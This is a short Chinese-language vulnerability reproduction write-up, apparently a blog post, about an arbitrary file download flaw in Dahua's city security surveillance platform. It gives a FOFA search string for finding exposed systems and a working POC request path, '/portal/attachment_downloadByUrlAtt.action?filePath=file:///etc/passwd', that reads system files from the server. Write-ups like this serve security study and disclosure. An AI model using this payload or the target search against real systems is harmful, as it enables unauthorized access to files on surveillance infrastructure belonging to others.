大华城市安防监控系统平台管理存在任意文件下载漏洞

大华城市安防监控系统平台管理存在任意文件下载漏洞

  • 1.大华城市安防监控系统平台管理存在任意文件下载漏洞
    • 1.1.漏洞描述
    • 1.2.漏洞影响
    • 1.3.FOFA
  • 2.漏洞复现
    • 2.1.登录页面
    • 2.2.抓包

1.大华城市安防监控系统平台管理存在任意文件下载漏洞

1.1.漏洞描述

  大华城市安防监控系统平台管理存在任意文件下载漏洞,攻击者通过漏洞可以下载服务器上的任意文件。

1.2.漏洞影响

  大华城市安防监控系统平台管理

1.3.FOFA

  “attachment_downloadByUrlAtt.action”

2.漏洞复现

2.1.登录页面

大华城市安防监控系统平台管理存在任意文件下载漏洞_第1张图片

2.2.抓包

  刷新登录页面进行抓包,然后在数据包中添加POC。

POC:/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

大华城市安防监控系统平台管理存在任意文件下载漏洞_第2张图片

你可能感兴趣的:(网络安全学习,#,漏洞复现,安全,web安全,网络,网络安全,运维)